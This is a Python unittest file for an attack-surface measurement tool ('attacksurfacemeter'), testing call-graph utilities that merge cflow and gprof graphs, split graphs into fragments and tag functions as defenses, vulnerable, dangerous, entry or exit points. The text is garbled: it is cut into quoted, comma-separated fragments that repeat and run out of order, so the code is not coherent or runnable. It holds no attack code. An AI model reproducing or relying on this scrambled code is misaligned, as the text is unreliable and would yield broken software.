"expected = [None] * 4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([",
"'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, vulnerabilities",
"'h') ]) expected = nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([ ('a', 'b'), ('b',",
"caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- validate* (cflow) # * Vulnerable #",
"# Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- printf (gprof) # Arrange source",
"expected['before'] ], [ (i, j, attrs) for (i, j, attrs) in target.edges if",
"attrs for (i, attrs) in _target.nodes if i == expected['before'] ], [ attrs",
"('h', 'i'), ('i', 'h') ]) expected = [None] * 4 expected[0] = nx.DiGraph()",
"caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C) # Act (caller_attrs,",
"('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected = nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c',",
"i != expected['after'] and j != expected['after'] ], ) def test_get_fragments(self): # Arrange",
"'a'), ('a', 'd') ]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e', 'f'),",
"for (i, attrs) in _target.nodes if i != expected['before'] ], [ (i, attrs)",
") # Assert # Caller Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not in caller_attrs)",
"callee, list(), vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs)",
"in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- validate* (cflow) # * Vulnerable",
"in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main",
"'', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) } # Act utilities.fix(target, using=reference) actual =",
"in target.nodes if i == expected['after'] ] ) # Asserting if edge attributes",
"'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd')",
"self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' in caller_attrs) self.assertTrue('entry' not",
") ) ) expected = { 'before': Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c',",
"'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'),",
"source = 'cflow' defenses = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ]",
"'h'), ('h', 'i')]) expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual = utilities.get_fragments(graph) actual.sort(key=lambda",
"expected[1].add_edges_from( [('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f')] ) expected[2] = nx.DiGraph()",
"(i, _) in target.nodes if i.function_name == 'GreeterSayHi' ) } # Assert self.assertEqual(expected['before'],",
"d -- c h -- i j graph = nx.Graph() graph.add_nodes_from( ['a', 'b',",
"* Vulnerable # + Designed defense and vulnerable # Arrange source = 'cflow'",
"attrs) in target.nodes if i != expected['after'] ] ) # Asserting if OTHER",
"'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'),",
"not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow) # *",
"Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' not in",
"attacksurfacemeter.loaders.gprof_loader import GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange target = CallGraph.from_loader( CflowLoader(",
"Assert self.assertEqual(len(expected), len(actual)) for i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def test_get_fragments_for_undirected(self):",
"in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs)",
"), 'after': next( i for (i, _) in target.nodes if i.function_name == 'GreeterSayHi'",
"def test_get_fragments_for_undirected(self): # Arrange # a -- b e -- f -- g",
"-- printf (gprof) # Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C)",
"in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs)",
"self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): # Scenario: main -- printf (cflow) # Arrange source",
"self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main*",
"'b', 'c', 'd']) expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c',",
"i for (i, _) in _target.nodes if i.function_name == 'GreeterSayHi' ), 'after': next(",
"not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not in",
"# Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('chown',",
"'d']) expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'), ('c', 'd'), ('d',",
"= utilities.get_node_attrs( source, caller, callee, list(), list() ) # Assert # Caller Attributes",
"(cflow) # * Designed defense # Arrange source = 'cflow' defenses = [Call('validate',",
"(i, j, attrs) in target.edges if i == expected['after'] or j == expected['after']",
"= Call('chown', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee,",
"over self.assertCountEqual( [ attrs for (i, attrs) in _target.nodes if i == expected['before']",
"= 'cflow' defenses = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] vulnerabilities",
"Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), list() ) # Assert",
"'d'), ('d', 'c'), ('d', 'a'), ('a', 'd'), ('e', 'f'), ('f', 'e'), ('f', 'g'),",
"(i, j, attrs) in _target.edges if i != expected['before'] and j != expected['before']",
"'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'c'), ('c', 'd'), ('d', 'a'), ('e',",
"expected['before'] ], [ attrs for (i, j, attrs) in target.edges if i ==",
"(i, attrs) in _target.nodes if i == expected['before'] ], [ attrs for (i,",
"'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) expected[1] = nx.DiGraph()",
"'d', 'e', 'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'c'),",
"caller = Call('main', 'main.c', Environments.C) callee = None # Act (caller_attrs, callee_attrs) =",
"[ (i, attrs) for (i, attrs) in _target.nodes if i != expected['before'] ],",
"(cflow) # * Vulnerable # Arrange source = 'cflow' vulnerabilities = [Call('validate', 'utils.c',",
"for (i, j, attrs) in _target.edges if i == expected['before'] or j ==",
"chown (cflow) # Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee",
"self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- validate*",
"+ Designed defense and vulnerable # Arrange source = 'cflow' defenses = [",
"(i, j, attrs) for (i, j, attrs) in target.edges if i != expected['after']",
"main -- printf (gprof) # Arrange source = 'gprof' caller = Call('main', 'main.c',",
"not in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in",
"# * Vulnerable # Arrange source = 'cflow' vulnerabilities = [Call('validate', 'utils.c', Environments.C)]",
"not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario:",
"attrs) in _target.nodes if i != expected['before'] ], [ (i, attrs) for (i,",
"'main.c', Environments.C) callee = Call('printf', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs(",
"validate+ (cflow) # * Designed defense # + Designed defense and vulnerable #",
"in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in",
"= utilities.get_node_attrs( source, caller, callee, defenses, list() ) # Assert # Caller Attributes",
"self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in",
"callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs)",
"caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- chown (cflow)",
") # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' in caller_attrs)",
"not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- chown (cflow) # Arrange",
"], [ (i, j, attrs) for (i, j, attrs) in target.edges if i",
"# Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting if node attributes got carried",
"= nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e', 'f'), ('f', 'e'), ('f', 'g'), ('g',",
"# Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee = Call('printf',",
"callee_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry'",
"list(), list() ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense'",
"in _target.edges if i == expected['before'] or j == expected['before'] ], [ attrs",
"('f', 'g'), ('h', 'i') ]) # Assert self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self): #",
"] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller =",
"not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* --",
"'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller = Call('main', 'main.c', Environments.C) callee =",
"not in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' not",
"caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs)",
"# Scenario: main* -- validate+ (cflow) # * Vulnerable # + Designed defense",
"os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ), True ) ) _target = copy.deepcopy(target) reference = CallGraph.from_loader( GprofLoader(",
"('a', 'b'), ('b', 'c'), ('c', 'd'), ('d', 'a'), ('e', 'f'), ('f', 'g'), ('h',",
"caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- chown (cflow) # Arrange source =",
"1) # Scenario: main* -- validate+ (cflow) # * Vulnerable # + Designed",
"vulnerable # Arrange source = 'cflow' defenses = [ Call('main', 'main.c', Environments.C), Call('validate',",
"[ attrs for (i, j, attrs) in _target.edges if i == expected['before'] or",
"i: len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected), len(actual)) for i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes())",
"'d'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f',",
"a -- b e -- f -- g # | | # |",
"| # d -- c h -- i j graph = nx.DiGraph() graph.add_nodes_from(",
"# Asserting if OTHER edges and their attributes got carried over self.assertCountEqual( [",
"expected[3].add_nodes_from(['j']) # Act actual = utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected),",
"j, attrs) in target.edges if i != expected['after'] and j != expected['after'] ],",
"Scenario: main* -- validate+ (cflow) # * Vulnerable # + Designed defense and",
"('d', 'c'), ('d', 'a'), ('a', 'd') ]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g'])",
"Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] caller = Call('main', 'main.c',",
"# Arrange source = 'cflow' vulnerabilities = [Call('validate', 'utils.c', Environments.C)] caller = Call('main',",
"unittest import networkx as nx from attacksurfacemeter import utilities from attacksurfacemeter.call import Call",
"('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) expected[1] =",
"target.edges if i != expected['after'] and j != expected['after'] ], ) def test_get_fragments(self):",
"!= expected['before'] ], [ (i, j, attrs) for (i, j, attrs) in target.edges",
"] ) # Asserting if edge attributes got carried over self.assertCountEqual( [ attrs",
"self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- printf",
"Asserting if edge attributes got carried over self.assertCountEqual( [ attrs for (i, j,",
"# Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' not",
"nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c',",
"not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- validate* (cflow) # *",
"!= expected['after'] and j != expected['after'] ], ) def test_get_fragments(self): # Arrange #",
"'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, defenses, list()",
"Call('GreeterSayHi', '', Environments.C), 'after': Call('GreeterSayHi', './src/helloworld.c', Environments.C) } # Act utilities.fix(target, using=reference) actual",
"# * Designed defense # + Designed defense and vulnerable # Arrange source",
"h -- i j graph = nx.Graph() graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e',",
"self.assertIsNone(callee_attrs) # Scenario: main -- validate* (cflow) # * Designed defense # Arrange",
"in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- None (gprof) #",
"['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a',",
"in target.nodes if i != expected['after'] ] ) # Asserting if OTHER edges",
"Attributes self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous'",
"main* -- validate+ (cflow) # * Vulnerable # + Designed defense and vulnerable",
"-- validate* (cflow) # * Designed defense # Arrange source = 'cflow' defenses",
"Scenario: main -- validate* (cflow) # * Vulnerable # Arrange source = 'cflow'",
"b e -- f -- g # | | # | | #",
"actual[i].edges()) def test_get_fragments_for_undirected(self): # Arrange # a -- b e -- f --",
"caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency'",
"expected[3] = nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual = utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True)",
"in _target.nodes if i == expected['before'] ], [ attrs for (i, attrs) in",
"validate* (cflow) # * Vulnerable # Arrange source = 'cflow' vulnerabilities = [Call('validate',",
"self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous'",
"UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange target = CallGraph.from_loader( CflowLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/cflow.callgraph.r.mod.txt' ),",
"Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous'",
"# Act utilities.fix(target, using=reference) actual = { 'before': next( i for (i, _)",
"-- b e -- f -- g # | | # | |",
"-- g # | | # | | # d -- c h",
"self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertTrue('frequency' not in caller_attrs) #",
"# Assert self.assertEqual(len(expected), len(actual)) for i in range(4): self.assertCountEqual(expected[i].nodes(), actual[i].nodes()) self.assertCountEqual(expected[i].edges(), actual[i].edges()) def",
"} # Assert self.assertEqual(expected['before'], actual['before']) self.assertEqual(expected['after'], actual['after']) # Asserting if node attributes got",
"('a', 'd'), ('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f'), ('h', 'i'), ('i',",
"in caller_attrs) self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) #",
"carried over self.assertCountEqual( [ (i, attrs) for (i, attrs) in _target.nodes if i",
"attrs) in _target.edges if i != expected['before'] and j != expected['before'] ], [",
"OTHER edges and their attributes got carried over self.assertCountEqual( [ (i, j, attrs)",
"# d -- c h -- i j graph = nx.Graph() graph.add_nodes_from( ['a',",
"defense # Arrange source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] caller =",
"utilities.get_node_attrs( source, caller, callee, list(), vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested'",
"over self.assertCountEqual( [ (i, attrs) for (i, attrs) in _target.nodes if i !=",
"'d'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) # Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph))",
"(caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), list() ) # Assert #",
"Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous'",
"self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not",
"in caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- validate*",
"caller_attrs) self.assertTrue('exit' not in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- validate* (cflow)",
"'utils.c', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), vulnerabilities",
"Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not",
"not in caller_attrs) self.assertTrue('vulnerable' in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in",
"Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('chown', '',",
"('e', 'f'), ('f', 'g'), ('h', 'i') ]) # Assert self.assertRaises(Exception, utilities.get_fragments, graph) def",
"'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b', 'a'), ('b', 'c'), ('c', 'b'),",
"'g'), ('g', 'f')] ) expected[2] = nx.DiGraph() expected[2].add_nodes_from(['h', 'i']) expected[2].add_edges_from([('i', 'h'), ('h', 'i')])",
"Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), list() )",
"'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([ ('a', 'b'), ('b',",
"# Scenario: main -- validate* (cflow) # * Vulnerable # Arrange source =",
"]) expected = nx.DiGraph() expected.add_nodes_from(['a', 'b', 'c', 'd']) expected.add_edges_from([ ('a', 'b'), ('b', 'a'),",
"[ attrs for (i, attrs) in target.nodes if i == expected['after'] ] )",
"'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('chown', '', Environments.C) # Act",
"'utils.c', Environments.C)] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller",
"('a', 'd') ]) expected[1] = nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e', 'f'), ('f',",
"i != expected['before'] ], [ (i, attrs) for (i, attrs) in target.nodes if",
"Callee Attributes self.assertIsNone(callee_attrs) # Scenario: main -- printf (gprof) # Arrange source =",
"# Act actual = utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected), len(actual))",
"in caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow) # * Vulnerable",
"Environments.C)] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] caller =",
"(cflow) # Arrange source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee =",
"CallGraph.from_loader( GprofLoader( os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) ) expected = { 'before': Call('GreeterSayHi',",
"'c'), ('c', 'b'), ('c', 'd'), ('d', 'c'), ('d', 'a'), ('a', 'd') ]) #",
"'main.c', Environments.C) callee = None # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller,",
"# Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), vulnerabilities ) #",
"and vulnerable # Arrange source = 'cflow' defenses = [ Call('main', 'main.c', Environments.C),",
"graph.add_edges_from([ ('a', 'b'), ('b', 'c'), ('c', 'd'), ('d', 'a'), ('e', 'f'), ('f', 'g'),",
"= [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ] vulnerabilities = [ Call('main',",
"| | # | | # d -- c h -- i j",
"self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main -- chown (cflow) # Arrange source = 'cflow'",
"'d') ]) # Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges())",
"test_get_fragments(self): # Arrange # a -- b e -- f -- g #",
"[Call('validate', 'utils.c', Environments.C)] vulnerabilities = [ Call('main', 'main.c', Environments.C), Call('validate', 'utils.c', Environments.C) ]",
"('d', 'a'), ('a', 'd') ]) # Act actual = utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(),",
"list(), list() ) # Assert # Caller Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not",
"j, attrs) for (i, j, attrs) in target.edges if i != expected['after'] and",
"import Call from attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments import Environments from attacksurfacemeter.loaders.cflow_loader import",
"# Assert # Caller Attributes self.assertTrue('tested' in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable'",
"Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs)",
"defenses, vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense'",
"# Caller Attributes self.assertTrue('tested' not in caller_attrs) self.assertTrue('defense' not in caller_attrs) self.assertTrue('vulnerable' not",
"not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs)",
"import GprofLoader class UtilitiesTestCase(unittest.TestCase): def test_fix(self): # Arrange target = CallGraph.from_loader( CflowLoader( os.path.join(",
"not in callee_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in",
"j == expected['before'] ], [ attrs for (i, j, attrs) in target.edges if",
"utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected), len(actual)) for i in range(4):",
"'a'), ('e', 'f'), ('f', 'g'), ('h', 'i') ]) # Assert self.assertRaises(Exception, utilities.get_fragments, graph)",
"source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C)",
"-- None (gprof) # Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C)",
"caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) if __name__ == '__main__':",
"caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) #",
"expected['after'] ] ) # Asserting if OTHER edges and their attributes got carried",
"_target.nodes if i != expected['before'] ], [ (i, attrs) for (i, attrs) in",
"# Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee = None",
"'utils.c', Environments.C) ] caller = Call('main', 'main.c', Environments.C) callee = Call('validate', 'utils.c', Environments.C)",
"= nx.DiGraph() expected[3].add_nodes_from(['j']) # Act actual = utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True) #",
"nx.DiGraph() expected[1].add_nodes_from(['e', 'f', 'g']) expected[1].add_edges_from( [('e', 'f'), ('f', 'e'), ('f', 'g'), ('g', 'f')]",
"self.assertTrue('entry' not in caller_attrs) self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee",
"for (i, j, attrs) in _target.edges if i != expected['before'] and j !=",
"expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'), ('b',",
"self.assertTrue('exit' in caller_attrs) self.assertTrue('frequency' not in caller_attrs) # Callee Attributes self.assertIsNone(callee_attrs) # Scenario:",
"target.edges if i == expected['after'] or j == expected['after'] ], ) # Asserting",
"printf (gprof) # Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee",
"(i, _) in _target.nodes if i.function_name == 'GreeterSayHi' ), 'after': next( i for",
"source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C)",
"not in caller_attrs) self.assertTrue('defense' not in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not",
"os.path.join( os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) ) expected = { 'before': Call('GreeterSayHi', '', Environments.C),",
"in _target.nodes if i.function_name == 'GreeterSayHi' ), 'after': next( i for (i, _)",
"main -- chown (cflow) # Arrange source = 'cflow' caller = Call('main', 'main.c',",
"[ attrs for (i, attrs) in _target.nodes if i == expected['before'] ], [",
"if node attributes got carried over self.assertCountEqual( [ attrs for (i, attrs) in",
"f -- g # | | # | | # d -- c",
"Arrange source = 'gprof' caller = Call('main', 'main.c', Environments.C) callee = Call('printf', '',",
"self.assertCountEqual( [ attrs for (i, j, attrs) in _target.edges if i == expected['before']",
"in _target.nodes if i != expected['before'] ], [ (i, attrs) for (i, attrs)",
"= Call('main', 'main.c', Environments.C) callee = Call('printf', '', Environments.C) # Act (caller_attrs, callee_attrs)",
"callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry' not in caller_attrs)",
"Call('chown', '', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(),",
"def test_get_node_attrs(self): # Scenario: main -- printf (cflow) # Arrange source = 'cflow'",
"over self.assertCountEqual( [ attrs for (i, j, attrs) in _target.edges if i ==",
"in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' in callee_attrs) self.assertTrue('dangerous' not in caller_attrs) self.assertTrue('entry'",
"import utilities from attacksurfacemeter.call import Call from attacksurfacemeter.call_graph import CallGraph from attacksurfacemeter.environments import",
"caller, callee, defenses, vulnerabilities ) # Assert # Caller Attributes self.assertTrue('tested' not in",
"os.path.dirname(os.path.realpath(__file__)), 'helloworld/gprof.callgraph.txt' ) ) ) expected = { 'before': Call('GreeterSayHi', '', Environments.C), 'after':",
"and their attributes got carried over self.assertCountEqual( [ (i, j, attrs) for (i,",
"'f'), ('f', 'e'), ('f', 'g'), ('g', 'f'), ('h', 'i'), ('i', 'h') ]) expected",
"# Asserting if node attributes got carried over self.assertCountEqual( [ attrs for (i,",
"Asserting if OTHER edges and their attributes got carried over self.assertCountEqual( [ (i,",
"graph.add_nodes_from( ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'] ) graph.add_edges_from([",
"= utilities.get_largest_fragment(utilities.get_fragments(graph)) # Assert self.assertCountEqual(expected.nodes(), actual.nodes()) self.assertCountEqual(expected.edges(), actual.edges()) def test_get_node_attrs(self): # Scenario: main",
"source, caller, callee, list(), list() ) # Assert # Caller Attributes self.assertTrue('tested' not",
"source = 'cflow' caller = Call('main', 'main.c', Environments.C) callee = Call('chown', '', Environments.C)",
"actual = utilities.get_fragments(graph) actual.sort(key=lambda i: len(i.nodes()), reverse=True) # Assert self.assertEqual(len(expected), len(actual)) for i",
"Assert self.assertRaises(Exception, utilities.get_fragments, graph) def test_get_largest_fragment(self): # Arrange # a -- b e",
"4 expected[0] = nx.DiGraph() expected[0].add_nodes_from(['a', 'b', 'c', 'd']) expected[0].add_edges_from([ ('a', 'b'), ('b', 'a'),",
"source = 'cflow' defenses = [Call('validate', 'utils.c', Environments.C)] vulnerabilities = [ Call('main', 'main.c',",
"| | # d -- c h -- i j graph = nx.DiGraph()",
"Scenario: main* -- validate+ (cflow) # * Designed defense # + Designed defense",
"'', Environments.C) # Act (caller_attrs, callee_attrs) = utilities.get_node_attrs( source, caller, callee, list(), list()",
"self.assertIsNotNone(callee_attrs) self.assertTrue('tested' not in callee_attrs) self.assertTrue('defense' in callee_attrs) self.assertTrue('vulnerable' not in caller_attrs) self.assertTrue('dangerous'",
"caller_attrs) self.assertEqual(callee_attrs['frequency'], 1) # Scenario: main* -- validate+ (cflow) # * Vulnerable #",
